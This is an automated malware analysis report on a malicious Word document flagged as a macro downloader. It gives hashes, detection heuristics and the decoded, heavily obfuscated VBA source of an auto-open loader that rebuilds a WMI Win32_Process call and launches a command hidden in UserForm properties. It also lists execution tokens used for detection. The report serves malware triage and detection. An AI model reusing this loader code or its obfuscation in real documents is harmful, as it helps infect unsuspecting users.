Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d8001b7a4c731e8…

MALICIOUS

Office (OLE)

127.0 KB Created: 2019-12-16 06:02:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 928679b8fb0d254d9167c4dc87bcd292 SHA-1: 51de3bb4f14c355fe61ebb2afa0af0ccfe3b79f7 SHA-256: 2d8001b7a4c731e8602acec101ea2e0af6bfa06346798d59c2e744096a17bcc4
332 Risk Score

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-7458295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7458295-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Fdwifdxffh = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", "qwh_h2bd"), "") + Uvaqofqttrsb.Bmqsealo + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Lqizngdbeggk = CreateObject(Mdhmaincb)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Gucqiveutv = GetObject(INSN & Fdwifdxffh)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8025 bytes
SHA-256: dc4efcdc7d9c31b7db2a08b57c9d92164d9b3413f800d95aff3a9cec5466c0e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
204 of 308 identifiers look randomly generated (e.g. 'qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Uvaqofqttrsb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Bmqsealo, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      Dim Azfhoeaqc
      Dim Isqzceoktc
      For Fepnpkhuxr = Rhxijmicux To 0
         Kvfefrwv = xPI
         Zlekwvqmc = CDbl(3)
         Ozdyqkfvmo = Tan(MyeW5A)
         Oohzkecgvwae = 4 - Fomelpwrvv
         Ogqzbrirq = (3 - Vghawprzzth)
         Iicbxwslydp = Vvjwntjaqxd
         Cdwcnhba = CDbl(6)
         Ohtuccxcsfgu = Tan(Cfnwqskzlxt)
      Next
      Dim Rbtrogdf
      Dim Wmlzrtlpxihhn
      For Utakmiao = Rhxijmicux To 0
         Cahllhlf = xPI
         Ogorrkqq = CDbl(3)
         Jorotmcvpovy = Tan(MyeW5A)
         Ptddmbwcjznnf = 4 - Crjfmtoitrze
         Phqarcygmeh = (3 - Esaghucnw)
         Tdblkmnwgmur = Nguwffyrmjq
         Rkncsvyhob = CDbl(6)
         Zrlpukacstoiq = Tan(Ubrruqbvm)
      Next
      Dim Nfoajilixik
      Dim Kwebstscsmd
      For Ielkxvde = Rhxijmicux To 0
         Sqexvhoevmy = xPI
         Kuemfnvtligah = CDbl(3)
         Kpojjhmkovw = Tan(MyeW5A)
         Iheeogbp = 4 - Yrgvgiyxol
         Fyplqyjpqjsr = (3 - Ebmbvxqg)
         Dmfcpyhjcpbf = Qdfdsozo
         Dwlnpecz = CDbl(6)
         Hdshasbipvcym = Tan(Srnobsobcz)
      Next
Lqizngdbeggk
End Sub

Attribute VB_Name = "Mawupmwl"
Attribute VB_Base = "0{9608EDB6-8842-4916-AEBA-766DAEB9F105}{FEF48F36-CBA4-47B8-9233-53335A8FBE0A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gmmpetoxmwxq"
Function Vpcfyhovdm()
      Dim Ccpooxupsfli
      Dim Mnnbmuiai
      For Quxngrqu = Rhxijmicux To 0
         Yufcyzqjbu = xPI
         Haqcstcjbukn = CDbl(3)
         Wblovnov = Tan(MyeW5A)
         Hyousqhlhzmx = 4 - Yxsmjekr
         Doymzfcmnxuu = (3 - Rlnzgyrze)
         Xvbmiipssre = Lcwajajdslvy
         Lhedjqwbka = CDbl(6)
         Pebmpmssn = Tan(Qpexmfjg)
      Next
Ldqstbvqbb = Uvaqofqttrsb.Bmqsealo
      Dim Ywlxevvdiwcdg
      Dim Sfcrbnyrvgs
      For Zieuckqr = Rhxijmicux To 0
         Iwwaelqn = xPI
         Gdtumklaeqqmi = CDbl(3)
         Ashbwpwma = Tan(MyeW5A)
         Fnufetjovvoj = 4 - Yqnqnvncwdt
         Mjjrsarfyg = (3 - Xduxilizky)
         Vnxhcqqmuh = Ldviqmaj
         Pssenrlk = CDbl(6)
         Kawecjchpmr = Tan(Qmfpziyyp)
      Next
Mlznilmqsm = Ldqstbvqbb + Mawupmwl.Aszghkyljgi + Mawupmwl.Uvjzaxajmj + Mawupmwl.Yvlpohzng
      Dim Sapkzkzg
      Dim Ykuwyidzu
      For Koissezlehn = Rhxijmicux To 0
         Ximjywcefegc = xPI
         Hfkgxpphmgrg = CDbl(3)
         Vybkabzpvuays = Tan(MyeW5A)
         Jcqllsfua = 4 - Dpvgsrqdjgdv
         Trkpfzxfb = (3 - Avuhpeau)
         Jtpcjhpazfgnf = Vevqxxns
         Vwvtbdawikx = CDbl(6)
         Vrifcxxnqcf = Tan(Fdizvaml)
      Next
Tascpscfspi = Mlznilmqsm + Mawupmwl.Ebmmggrqj + Mawupmwl.Afghsmloqj
      Dim Stvaerzuynlr
      Dim Ktecubuoksn
      For Wzxtpbem = Rhxijmicux To 0
         Ooqsusgoc = xPI
         Cphvtdyeic = CDbl(3)
         Ndvbuwqedulpo = Tan(MyeW5A)
         Zveelgsukp = 4 - Xghgfbocozrlr
         Hhdshotyiexb = (3 - Jllwasywognz)
         Zdsmzmlngxqi = Ychauhfof
         Svlsxehlyzfm = CDbl(6)
         Gjweogsp = Tan(Mynfupkycvgrz)
      Next
Vpcfyhovdm = Ejmbonjr + Tascpscfspi + Ejmbonjr
      Dim Kxbltdozpu
      Dim Yojurrpp
      For Ulsjykmiskr = Rhxijmicux To 0
         Nzulsfnr = xPI
         Wotfaumdfu = CDbl(3)
         Qtkfdngc = Tan(MyeW5A)
         Ykvuwgxkdx = 4 - Wveflofhlfilj
         Mczklgkq = (3 - Gxggvrxvsx)
         Xcswzasc = Ufkidmvsle
         Eqzbpnkpremm = CDbl(6)
         Sohkxgzvdbvmo = Tan(Zlkfcxbxxkerv)
      Next
End Function
Function Lqizngdbeggk()
      Dim Bsrsmxyyrr
      Dim Cndlkosof
      For Jnpjiyorcg = Rhxijmicux To 0
         Wkibbtji = xPI
         Nnvtrxkx = CDbl(3)
         Mjiexnpac = Tan(MyeW5A)
         Zikgacmq = 4 - Hjgzbopgrgeyo
         Cdendjfzzo = (3 - Mrvygnjfab)
         Zatlsyauvtyyi = Nbkhlwdcpvi
         Ekmbxiodqu = CDbl(6)
         Njpsswpd = Tan(Dpuuzvxdpkaoq)
      Next
Fdwifdxffh = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", "qwh_h2bd"), "") + Uvaqofqttrsb.Bmqsealo + "rocess"
      Dim Evzlbbfyyva
      Dim Fixsxpfmoasy
      For Xquiqeobkzhiw = Rhxijmicux To 0
         Ejgurfjje = xPI
         Abpugnhc = CDbl(3)
         Emjjedyyl = Tan(MyeW5A)
         Kgkqmdbtohpt = 4 - Mlpstatnx
         Wknclktaiqvfd = (3 - Gjtapttfrr)
         Rozwjktps = Dwvshorglxk
         Uxkdcfvkce = CDbl(6)
         Itmukfrrsq = Tan(Bmqzkwihtocl)
      Next
Set Gucqiveutv = GetObject(INSN & Fdwifdxffh)
      Dim Hbxthmgwf
      Dim Vpbhksoin
      For Lrjkqgufufkpq = Rhxijmicux To 0
         Jxdadjdzt = xPI
         Aranswqipgj = CDbl(3)
         Zbagbkaludire = Tan(MyeW5A)
         Phsqsagdfg = 4 - Zhwaaahabjx
         Reforwojd = (3 - Osevtyuzo)
         Dycirwml = Uibwbpokyd
         Omhvmhdoyjk = CDbl(6)
         Glifrxro = Tan(Jdysjgpqtepj)
      Next
Trcynelz = Fdwifdxffh + Mawupmwl.Aadsfkkc.ControlTipText + Mawupmwl.Gzctexiffoip.ControlTipText
      Dim Ykdmufxdh
      Dim Wqhqeuqb
      For Piafolnr = Rhxijmicux To 0
         Yyzehelrqk = xPI
         Qkxlyshgups = CDbl(3)
         Bdhfukmeyd = Tan(MyeW5A)
         Djaiyklgcsp = 4 - Mujwqift
         Bemwaijrh = (3 - Vjhxwfgzgjna)
         Pchhusxhc = Molysaih
         Lbyudztpxne = CDbl(6)
         Lfckmhxogiu = Tan(Vboifssreai)
      Next
Mdhmaincb = Trcynelz + Uvaqofqttrsb.Bmqsealo
      Dim Dwytlghxqv
      Dim Kgktgalcvbzif
      For Wltzjfanuf = Rhxijmicux To 0
         Ylqgwlngytcdb = xPI
         Ncxpovvkl = CDbl(3)
         Ftjtpnmdnqfuc = Tan(MyeW5A)
         Jldiqxzynkwp = 4 - Caejafux
         Oqyvqihu = (3 - Ljhdgzfvwisxg)
         Pblcrxmgzt = Ehfdcxipstbda
         Awkrjvkbgwrbz = CDbl(6)
         Hjhzbnrf = Tan(Ymswahbr)
      Next
Set Lqizngdbeggk = CreateObject(Mdhmaincb)
      Dim Vmpuybpppl
      Dim Tnchhbdltjtfs
      For Wfikzhbii = Rhxijmicux To 0
         Srevqryvs = xPI
         Hwppcrms = CDbl(3)
         Cttkhazp = Tan(MyeW5A)
         Tvcimgxsc = 4 - Ertxmujfkvpcc
         Lljqygakilthd = (3 - Upcgycznvfqj)
         Dtzsovmimi = Hllsnfkr
         Zwrvmyok = CDbl(6)
         Taestoozhldur = Tan(Nbcskypidtdb)
      Next
Lqizngdbeggk.XSize = False
      Dim Jbfbiqsheabo
      Dim Wsotkbtth
      For Amvgiolh = Rhxijmicux To 0
         Uopqfsxg = xPI
         Zmpjtjfjkxp = CDbl(3)
         Yiexbwmphe = Tan(MyeW5A)
         Ezdejwmx = 4 - Nwmmzibx
         Acrhbvvkxb = (3 - Ihpkbfaad)
         Uvhkowenkl = Bhwcoabz
         Enexogwwsi = CDbl(6)
         Wmukgnsngxng = Tan(Fcmacxhi)
      Next
Lqizngdbeggk.YSize = False
      Dim Amrprlnfuhkxy
      Dim Utethliag
      For Qfwvbzry = Rhxijmicux To 0
         Obhladfxxos = xPI
         Dubbynrllkpuh = CDbl(3)
         Gkfajrgsxigid = Tan(MyeW5A)
         Qirhsbzytk = 4 - Dqsrsufq
         Rpgxbetrf = (3 - Cugdaqygm)
         Xpcbfqooymw = Bauzvebexta
         Nsdhjzwbsq = CDbl(6)
         Ycdrpvfm = Tan(Zwzliklz)
      Next
Do While Gucqiveutv.Create(Null & Vpcfyhovdm, Tefsxgzvdkpdm, Lqizngdbeggk, Ckpqilfa)
Loop
      Dim Khklyqaw
      Dim Gidcpneazaapv
      For Vrisumcw = Rhxijmicux To 0
         Busbjqsvglum = xPI
         Rhjwtbvmoicz = CDbl(3)
         Qmeldiot = Tan(MyeW5A)
         Qkhtpkjinpanc = 4 - Yyofkyky
         Tgijwfxvl = (3 - Ubxdzulddd)
         Iejzobzfltpve = Qkcrrztexqcle
         Lbjhafmfjulz = CDbl(6)
         Mbyyuvsa = Tan(Zozmilpvhqho)
      Next
End Function